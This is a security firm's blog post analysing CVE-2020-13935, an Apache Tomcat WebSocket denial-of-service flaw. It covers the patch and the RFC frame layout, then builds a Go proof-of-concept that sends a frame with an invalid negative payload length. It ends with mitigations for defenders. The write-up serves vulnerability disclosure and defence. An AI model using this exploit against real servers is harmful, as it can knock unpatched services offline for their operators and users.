# RedTeam Pentesting GmbH - werde eine*r von uns
#### 2 November 2020
## Diving into a WebSocket Vulnerability in Apache Tomcat
Apache Tomcat is a Java application server commonly used with web
applications, which we often encounter in penetration tests.
In this post we will dive into the analysis of a vulnerability in the Apache
Tomcat server and an exploit which helped our customer to assess the risk on
their business. The vulnerability is a denial-of-service vulnerability
appearing in conjunction with WebSockets, and has been assigned
[CVE-2020-13935](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2020-13935) .
During penetration tests, we often see instances running outdated versions of
Apache Tomcat.
We classify software as "outdated" if a given version contains vulnerabilities
for which the vendor (or maintainer) has released a corresponding security
update. However, some vulnerabilities are only exploitable in certain
scenarios and upgrading the web application server might be costly. Therefore,
it is essential to have concise information to make an informed decision on
whether the vulnerability affects a given product and whether an upgrade is
worthwhile. Unfortunately, not all vendors/maintainers are transparent about
security.
The [release notes for Apache Tomcat
9.0.37](https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.37)
show that a vulnerability has been found and patched in July 2020, stating the
following:
> The payload length in a WebSocket frame was not correctly validated. Invalid
> payload lengths could trigger an infinite loop. Multiple requests with
> invalid payload lengths could lead to a denial of service.
This information is quite vague, resulting in the following questions:
* What constitutes an _invalid_ payload length?
* What kind of denial-of-service occurs? CPU or memory exhaustion? Maybe even a crash?
* Under which circumstances are applications vulnerable? When does Apache Tomcat parse WebSocket messages?
* What investment do attackers need to make? Does exploitation require a large amount of bandwidth or computing power?
* Are there possible workarounds for cases where an upgrade is not feasible?
These questions can be answered with some analysis, and (among many other
things) that is also part of our penetration tests.
### The Patch
The Apache security team linked the corresponding
[patch](https://github.com/apache/tomcat/commit/40fa74c74822711ab878079d0a69f7357926723d)
for this vulnerability. The following code was added to
`java/org/apache/tomcat/websocket/WsFrameBase.java`, fixing the vulnerability
(reformatted for legibility):
// The most significant bit of those 8 bytes is required to be zero
// (see RFC 6455, section 5.2). If the most significant bit is set,
// the resulting payload length will be negative so test for that.
if (payloadLength < 0) {
throw new WsIOException(
new CloseReason(
CloseCodes.PROTOCOL_ERROR,
sm.getString("wsFrame.payloadMsbInvalid")
)
);
}
As we can see, the change consists of an additional check on the payload
length field, which is of the type `long`, raising an exception if the value
is negative. But how can a payload length be negative?
In order to answer this question, let us take a look at the structure of a
WebSocket frame, provided in the [corresponding
RFC](https://tools.ietf.org/html/rfc6455#section-5.2):
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len | Extended payload length |
|I|S|S|S| (4) |A| (7) | (16/64) |
|N|V|V|V| |S| | (if payload len==126/127) |
| |1|2|3| |K| | |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
| Extended payload length continued, if payload len == 127 |
+ - - - - - - - - - - - - - - - +-------------------------------+
| |Masking-key, if MASK set to 1 |
+-------------------------------+-------------------------------+
| Masking-key (continued) | Payload Data |
+-------------------------------- - - - - - - - - - - - - - - - +
: Payload Data continued ... :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
| Payload Data continued ... |
+---------------------------------------------------------------+
The first 16 bits of a frame contain several bit flags as well as a 7-bit
payload length. If this payload length is set to 127 (binary 1111111), the
chart indicates that a so-called _extended_ payload length of 64 bit should be
used. Additionally, the WebSocket RFC states:
> If [the 7-bit payload length is] 127, the following 8 bytes interpreted as a
> 64-bit unsigned integer (the most significant bit MUST be 0) are the payload
> length.
It seems to be a peculiar choice that despite the field clearly being a 64-bit
unsigned integer, the RFC _additionally_ requires the most significant bit to
be zero. Perhaps this choice was made to provide interoperability with signed
implementations, however it may cause confusion. In this case it even led to a
security vulnerability.
### Writing an Exploit
In the following we will implement a proof-of-concept in Go. Why Go you might
ask? Go is awesome a¤i¸ and built-in concurrency as well as good library
support for WebSockets come in handy. Furthermore, we are able to cross-
compile the PoC for any platform we need to.
Let's move along the specification and construct a WebSocket frame that has a
negative payload length when parsed by Apache Tomcat. First, the values for
the bit flags `FIN`, `RSV1`, `RSV2` and `RSV3` need to be chosen. `FIN` is
used to indicate the final frame of a message. As the whole message that we
want to send is contained in a single frame, we set this bit to one. The RSV
bits are reserved for future use and extensions to the WebSocket
specification, so they are all set to zero. The `opcode` field (4 bit)
represents the type of the sent data. The value has to be valid, otherwise the
frame would be dropped. In this case, we want to send a simple text payload,
which requires this field to be set to the value 1. The Go library
`github.com/gorilla/websocket` provides a constant for that which we will use.
Now we can already construct the first byte of our malicious WebSocket frame:
var buf bytes.Buffer
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))
The first bit of the second byte is the `MASK` bit, which must be set to one
in frames being sent from the client to the server. The interesting part is
the payload length, which can vary in size. If the payload size of the
WebSocket message doesn't exceed 125 bytes, the length can be encoded directly
in the 7-bit payload length field. For payload lengths between 126 and 65535,
the 7-bit payload length field is set to the constant 126 and the payload
length is encoded as a 16-bit unsigned integer in the next two bytes. For
larger payloads, the 7-bit payload length field must be set to 127 and the
next four bytes encode the payload length as an 64-bit unsigned integer. As
discussed before, for the payload length being defined in 64 bits the most
significant bit (MSB) must be set to zero according to the specification. To
trigger the vulnerable code path in Apache Tomcat we need to specify a 64-bit
payload length with the MSB set to one, so we set the 7-bit payload length
field to 1111111:
// always set the mask bit
// indicate 64 bit message length
buf.WriteByte(byte(1<<7 | 0b1111111))
In order to construct a frame with an invalid payload length, triggering the
misbehavior in the Apache Tomcat implementation, we set the following eight
bytes to `0xFF`:
// set msb to 1, violating the spec and triggering the bug
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})
The following four bytes are the masking key. The specification requires this
to be a random 32-bit value from a strong source of entropy, but as we violate
the specification already, we just use a static masking key to make the code
easier to read:
// 4 byte masking key
// leave zeros for now, so we do not need to mask
maskingKey := []byte{0, 0, 0, 0}
buf.Write(maskingKey)
The actual payload itself can be smaller than the specified length:
// write an incomplete message
buf.WriteString("test")
The assembly and transmission of our packet looks as follows. For good
measure, we are keeping the connection open for 30 seconds after sending:
ws, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
return fmt.Errorf("dial: %s", err)
}
_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
return fmt.Errorf("write: %s", err)
}
// keep the websocket connection open for some time
time.Sleep(30 * time.Second)
The code for this proof-of-concept exploit is available at
[github.com/RedTeamPentesting/CVE-2020-13935](https://github.com/RedTeamPentesting/CVE-2020-13935).
Build the executable by just running `go build`. To test the program, we can
set up a vulnerable Apache Tomcat instance and target one of the WebSocket
examples provided with the installation:
$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic
That is all it takes to exploit the denial-of-service vulnerability. If a
vulnerable WebSocket endpoint is now targeted and multiple malicious requests
are made, the CPU usage goes up quite quickly and the server becomes
unresponsive.
![htop run on server during
exploitation](https://images.seebug.org/1604459883147-w331s)
Note that the parsing code is only triggered with endpoints that actually
expect WebSocket messages. We cannot send such a message to an arbitrary
Tomcat HTTP endpoint.
According to the [vulnerability description](https://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2020-13935) the following versions of Apache Tomcat
are affected:
* 10.0.0-M1 to 10.0.0-M6
* 9.0.0.M1 to 9.0.36
* 8.5.0 to 8.5.56
* 7.0.27 to 7.0.104
### For Defenders
If possible, update your Apache Tomcat server to the current version. However,
there might be cases when updating is not feasible or very costly. In this
case, you should evaluate whether your product is vulnerable. As explained
above, the bug can only be triggered on WebSockets endpoints. Therefore,
disabling or restricting access to those endpoints will mitigate the issue.
Note that the built-in example directory also contains endpoints that handle
WebSockets.
Thats all folks, stay tuned for further updates! ð
![Abbildung einer Tastatur](https://images.seebug.org/1604459884943-w331s)
暂无评论